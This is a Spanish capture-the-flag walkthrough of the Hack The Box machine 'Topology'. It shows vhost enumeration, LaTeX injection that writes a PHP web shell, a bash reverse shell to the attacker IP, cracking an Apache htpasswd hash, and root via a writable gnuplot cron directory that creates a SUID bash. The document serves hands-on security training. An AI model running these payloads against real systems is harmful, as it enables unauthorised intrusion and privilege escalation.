Descripción

Topology es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de Virtual Hosts
  • Inyección de comandos en LaTeX
  • Exposición de datos sensibles
  • Recuperación de una contraseña de Apache a través de su hash
  • Escalada de privilegios mediante una tarea Cron de Gnuplot

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.217.

$ ping -c 3 10.10.11.217
PING 10.10.11.217 (10.10.11.217) 56(84) bytes of data.
64 bytes from 10.10.11.217: icmp_seq=1 ttl=63 time=49.6 ms
64 bytes from 10.10.11.217: icmp_seq=2 ttl=63 time=50.5 ms
64 bytes from 10.10.11.217: icmp_seq=3 ttl=63 time=49.1 ms

--- 10.10.11.217 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 49.127/49.749/50.485/0.560 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.217 -sS -p- -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.217
Host is up (0.048s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 43.21 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.217 -sV -sC -p22,80 -oN nmap_scan_ports -Pn
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.217
Host is up (0.051s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA)
|   256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)
|_  256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Miskatonic University | Topology Group
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds

Obtenemos dos servicios: un Secure Shell (SSH) y un Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web. Con la herramienta WhatWeb podemos enumerar las tecnologías del sitio web.

$ whatweb --log-brief web_techs 10.10.11.217
http://10.10.11.217 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[lklein@topology.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.217], Title[Miskatonic University | Topology Group]

Encontramos que el sitio web es alojado por un servidor Apache 2.4.41, está hospedando un sitio web universitario, y se filtra una dirección de correo electrónico, lklein@topology.htb. Así que tenemos un nombre de usuario, lklein, y podemos añadir el nombre de host a nuestro archivo /etc/hosts.

$ echo "10.10.11.217 topology.htb" | sudo tee -a /etc/hosts

Ahora vamos a hacer la enumeración de los subdominios (VHOST) con la herramienta Gobuster.

$ gobuster vhost -u topology.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhost_enumeration
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://topology.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.topology.htb Status: 401 [Size: 463]
Found: stats.topology.htb Status: 200 [Size: 108]
Progress: 4987 / 4990 (81.58%)
===============================================================
Finished
===============================================================

Conseguimos dos subdominios, dev y stats. Así que los agregamos al archivo /etc/hosts.

$ echo "10.10.11.217 dev.topology.htb" | sudo tee -a /etc/hosts
$ echo "10.10.11.217 stats.topology.htb" | sudo tee -a /etc/hosts

En el subdominio dev tenemos que autenticarnos, pero no tenemos credenciales. En el subdominio de stats tenemos dos estadísticas referentes al tráfico de red y a la carga del servidor en los últimos 60 minutos. En la página principal tenemos un enlace a una aplicación web llamada “LaTeX Equation Generator”, con el enlace http://latex.topology.htb/equation.php, por lo que lo agregamos a nuestro archivo hosts.

echo "10.10.11.217 latex.topology.htb" | sudo tee -a /etc/hosts

Ahora tenemos una página web en la se puede introducir una ecuación LaTeX y se obtendrá una imagen renderizada. La imagen resultante. Podemos probar si la aplicación es vulnerable a un ataque de inyección de LaTeX, por ejemplo, al intentar leer el contenido de un archivo con el comando \input.

Comando LaTeX a introducir:
\input{/etc/passwd}

Desafortunadamente, la aplicación detecta que es una instrucción ilegal y la ignora.

Explotación

Va mos a tratar de crear una consola web PHP, vemos que tenemos acceso al directorio de archivos temporales, /tempfiles/. Vamos a crear un texto, codificarlo en URL y enviarlo con Burp Suite, con su Repeater. Se creará una archivo testing.php con la capacidad de ejecutar comandos.

Texto a usar:
\begin{filecontents}{testing.php}
<?php system($_GET['cmd']); ?>
\end{filecontents}

Texto URL codificado:
%5Cbegin%7Bfilecontents%7D%7Btesting%2Ephp%7D%0A%3C%3Fphp%20system%28%24%5FGET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%5Cend%7Bfilecontents%7D

El archivo /tempfiles/testing.php fue creado así que vamos a comprobar si la ejecución de comandos remotos funciona enviando una solicitud en la que el parámetro cmd sea el comando. Con el comando id vemos que estamos conectados como el usuario www-data, por lo que finalmente creamos la consola inversa. La generamos, la codificamos y la enviamos, abriendo primero un puerto de escucha.

$ nc -nvlp 1234

Estos son los datos que vamos a enviar.

Texto a usar:
bash -c 'sh -i >& /dev/tcp/10.10.15.36/1234 0>&1'

Texto codificado:
bash%20%2Dc%20%27sh%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E15%2E36%2F1234%200%3E%261%27

Obtenemos una consola inversa como www-data, así que la actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.36] from (UNKNOWN) [10.10.11.217] 52376
sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
$
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
www-data@topology:/var/www/latex/tempfiles$ stty rows 48 columns 156
www-data@topology:/var/www/latex/tempfiles$ export TERM=xterm
www-data@topology:/var/www/latex/tempfiles$ export SHELL=bash

Post-Explotación

Aparte de root, vemos al usuario vdaisley en el sistema como usuarios de consolas.

www-data@topology:/var/www/latex/tempfiles$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
vdaisley:x:1007:1007:Vajramani Daisley,W2 1-123,,:/home/vdaisley:/bin/bash

Enumerando, podemos obtener las credenciales hasheadas del host virtual dev.

www-data@topology:/var/www/latex/tempfiles$ cd /var/www/dev/
www-data@topology:/var/www/dev$ cat .htpasswd 
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0

Copiamos esto a un archivo de texto y lo rompemos con John the Ripper y el diccionario RockYou.

$ john --wordlist=/usr/share/wordlists/rockyou.txt credential_hash.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
calculus20       (vdaisley)     
1g 0:00:00:01 DONE 0.8196g/s 817101p/s 817101c/s 817101C/s callel..butkis
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Obtenemos la contraseña para el usuario de vdaisley, calculus20. Si entramos en el host virtual dev obtenemos una página sin información interesante. Ahora podemos probar con su comando su si la contraseña del servidor web coincide con la de la cuenta Linux.

www-data@topology:/var/www/dev$ su vdaisley
Password: 
vdaisley@topology:/var/www/dev$

Estamos conectados como el usuario vdaisley, que no puede ejecutar comandos como root.

vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley: 
Sorry, user vdaisley may not run sudo on topology.

Vamos a comprobar los procesos de ejecución usando pspy, así que lo descargamos en la máquina.

vdaisley@topology:~$ mktemp -d
/tmp/tmp.06Gt1wD33A
vdaisley@topology:~$ cd /tmp/tmp.06Gt1wD33A
vdaisley@topology:/tmp/tmp.06Gt1wD33A$ wget http://10.10.15.36/pspy32
...
vdaisley@topology:/tmp/tmp.06Gt1wD33A$ chmod +x pspy32 
vdaisley@topology:/tmp/tmp.06Gt1wD33A$ ./pspy32
CMD: UID=0     PID=1      | /sbin/init
CMD: UID=0     PID=19361  | /usr/sbin/CRON -f
CMD: UID=0     PID=19360  | /usr/sbin/CRON -f
CMD: UID=0     PID=19363  | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
CMD: UID=0     PID=19362  | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;
CMD: UID=0     PID=19364  | gnuplot /opt/gnuplot/loadplot.plt
CMD: UID=0     PID=19365  | /usr/sbin/CRON -f
CMD: UID=0     PID=19370  | cut -d   -f3,7
CMD: UID=0     PID=19369  | tr -s  
CMD: UID=0     PID=19368  | grep enp
CMD: UID=0     PID=19367  | netstat -i
CMD: UID=0     PID=19366  | /bin/sh /opt/gnuplot/getdata.sh
CMD: UID=0     PID=19375  | gnuplot /opt/gnuplot/networkplot.plt
CMD: UID=0     PID=19374  | sed s/,//g
CMD: UID=0     PID=19373  | cut -d  -f 3
CMD: UID=0     PID=19372  | grep -o load average:.*$
CMD: UID=0     PID=19376  |
CMD: UID=0     PID=19377  | /bin/sh /opt/gnuplot/getdata.sh

Vemos que un trabajo Cron está siendo ejecutado como root, específicamente el programa Gnuplot, presumiblemente, para generar las imágenes trazadas en el servidor de stats. No tenemos acceso al directorio /opt/gnuplot/, pero tenemos permisos para escribir.

vdaisley@topology:/tmp/tmp.06Gt1wD33A$ ls -l /opt/
total 4
drwx-wx-wx 2 root root 4096 Jun  6 08:14 gnuplot
vdaisley@topology:/tmp/tmp.06Gt1wD33A$ ls -l /opt/gnuplot/
ls: cannot open directory '/opt/gnuplot/': Permission denied

El programa Gnuplot recibe archivos .plt como comandos de entrada. El comando System existe para ejecutar comandos. Como el trabajo Cron está ejecutando todos los archivos .plt, vamos a crear un archivo que da permisos SUID a un binario Bash.

Comando en Gnuplot:
system 'cp /bin/bash /home/vdaisley/.cache/bash-suid;chmod u+s /home/vdaisley/.cache/bash-suid'

Vamos a copiar el binario Bash a un directorio temporal, vamos a crear el archivo .plt, vamos a esperar hasta que el trabajo Cron inicie, y finalmente corremos el binario Bash como privilegiado para conseguir una consola con permisos de root.

vdaisley@topology:/tmp/tmp.06Gt1wD33A$ echo "system 'cp /bin/bash /home/vdaisley/.cache/bash-suid;chmod u+s /home/vdaisley/.cache/bash-suid'" > /opt/gnuplot/getroot.plt
vdaisley@topology:/tmp/tmp.06Gt1wD33A$ cd ~/.cache
bash-suid  motd.legal-displayed
vdaisley@topology:~/.cache$ ./bash-suid -p
bash-suid-5.0# id
uid=1007(vdaisley) gid=1007(vdaisley) euid=0(root) groups=1007(vdaisley)

Tenemos una consola de superadministrador.

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

bash-suid-5.0# id
uid=1007(vdaisley) gid=1007(vdaisley) euid=0(root) groups=1007(vdaisley)
bash-suid-5.0# cat /home/vdaisley/user.txt 
<REDACTED>
bash-suid-5.0# cat /root/root.txt 
<REDACTED>